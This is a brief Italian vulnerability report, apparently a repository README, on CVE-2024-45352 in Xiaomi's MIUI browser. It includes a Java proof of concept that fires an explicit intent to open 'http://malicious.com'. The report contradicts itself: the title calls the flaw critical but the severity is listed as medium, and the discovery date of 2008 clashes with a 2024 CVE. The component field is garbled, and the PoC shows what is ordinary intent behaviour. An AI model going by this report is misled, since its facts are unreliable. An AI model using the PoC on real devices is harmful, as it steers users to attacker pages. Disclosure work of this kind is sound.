xiaomi-cve-2024-45352

Rapporto tecnico sulla vulnerabilità critica di Xiaomi

Riepilogo della vulnerabilità È stata scoperta una vulnerabilità nel browser predefinito di Xiaomi (com.android.browser) su vari dispositivi MIUI. L'app non riesce a convalidare correttamente gli intent passati tramite startActivity, consentendo alle app dannose di aprire URL arbitrari o eseguire azioni non intenzionali.

• ID CVE: CVE-2024-45352
• Componente
• :com.android.browser
• Gravità: Media
• Stato: Segnalato a Xiaomi (in attesa di conferma)
• Data di scoperta: [24 aprile 2008]

🔥 Proof of Concept (PoC)

1. Creare una semplice app dannosa con il seguente intent:

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.browser", "com.android.browser.BrowserActivity"));
intent.setData(Uri.parse("http://malicious.com"));
startActivity(intent);